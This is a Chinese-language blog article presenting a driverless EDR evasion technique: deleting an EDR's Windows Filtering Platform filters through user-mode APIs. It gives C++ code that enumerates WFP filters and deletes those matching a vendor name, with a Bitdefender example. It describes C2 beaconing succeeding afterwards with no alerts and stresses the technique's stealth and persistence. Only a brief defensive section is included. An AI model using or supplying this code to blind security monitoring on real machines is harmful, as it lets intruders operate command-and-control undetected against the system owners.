EDR监测遭遇滑铁卢?无驱动技术让你轻松突破EDR!
字数 1228 2025-08-20 18:18:40
无驱动技术突破EDR监测:基于WFP的流量监测绕过技术详解
技术背景与原理
EDR(终端检测与响应)系统通过多种技术手段监控终端行为,其中网络流量监测是核心功能之一。传统绕过方法依赖驱动级操作,但随着漏洞驱动被广泛拉黑,这种方法效果大幅降低。
Windows过滤平台(WFP)是微软自Windows Vista/Server 2008引入的网络流量处理框架,取代了早期的TDI和NDIS技术。WFP提供了完整的API集,允许开发防火墙、入侵检测等网络安全产品。
WFP核心组件解析
-
过滤引擎(Filter Engine):
- WFP的核心组件,存在于内核和用户模式
- 功能:流量过滤、实现callout过滤器、流量控制、策略综合判断
-
基础过滤引擎(Base Filtering Engine):
- 服务组件,负责过滤器管理和调度
- 功能:接收配置、系统状态统计、权限管理、模块连接
-
过滤器(Filter):
- 具体过滤规则,包含判定条件和触发行为
-
提供者(Provider):
- 管理一个或多个Filter的实体
-
Shim组件:
- 内核模式流量采集器,支持多协议层流量采集
-
回调函数(Callouts):
- 捕获目标流量时执行特定操作
-
API:
- 开发WFP应用的函数接口集
技术实现原理
通过WFP API删除EDR进程设置的Filter规则,可以阻断EDR的流量监测能力:
- EDR通常使用用户模式WFP实现流量监测
- 管理员权限即可完全控制用户层WFP
- 删除Filter后EDR无法捕获网络行为
- EDR Agent通常不会监控自身Filter状态,删除后不会自动恢复
详细操作步骤
1. 初始化WFP引擎
HANDLE hEngine = NULL;
if (FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine) != 0) {
// 错误处理
}
2. 枚举所有Filter
FWPM_FILTER0** ppFilters = NULL;
UINT32 numFilter = 0;
DWORD res = FwpmFilterCreateEnumHandle0(hEngine, NULL, &enumHandle);
res = FwpmFilterEnum0(hEngine, enumHandle, INFINITE, &ppFilters, &numFilter);
3. 删除目标Filter
void DeleteFilter(HANDLE hEngine, std::wstring target, FWPM_FILTER0** ppFilters, UINT32 numFilter) {
for (UINT32 i = 0; i < numFilter; i++) {
if (wcsstr(ppFilters[i]->displayData.name, target.c_str())) {
FwpmFilterDeleteById0(hEngine, ppFilters[i]->filterId);
}
}
}
4. 针对性删除EDR相关Filter
// 示例:删除Bitdefender相关Filter
DeleteFilter(hEngine, L"Bitdefender", ppFilters, numFilter);
DeleteFilter(hEngine, L"BD", ppFilters, numFilter);
效果验证
删除前:
- EDR能捕获注入行为
- 网络请求被拦截,C2无法上线
- 管理台收到告警
删除后:
- 成功请求bin文件并上线
- 管理台无告警
- ER视角中客户端无对外流量
技术特点
- 无需驱动:完全在用户空间操作
- 权限要求低:仅需管理员权限
- 持久性:EDR通常不会自动恢复被删除的Filter
- 隐蔽性:不影响EDR其他功能,减少被发现概率
防御对策
- Filter状态监控:定期检查关键Filter是否存在
- API调用监控:监测WFP关键API的调用
- 内核级补充:结合ETW实现内核层流量监测
- 权限控制:限制对WFP关键操作的权限
适用范围与限制
- 适用:仅使用用户模式WFP实现流量监测的EDR
- 不适用:使用ETW内核监测流量的EDR
- 效果:仅影响流量监测模块,不影响其他防护功能
参考资源
总结
这种基于WFP的无驱动EDR绕过技术提供了一种相对简单但有效的流量监测规避方法,特别适合在驱动级操作受限的环境中使用。防御方应加强WFP相关操作的监控和防护,形成多层次的防御体系。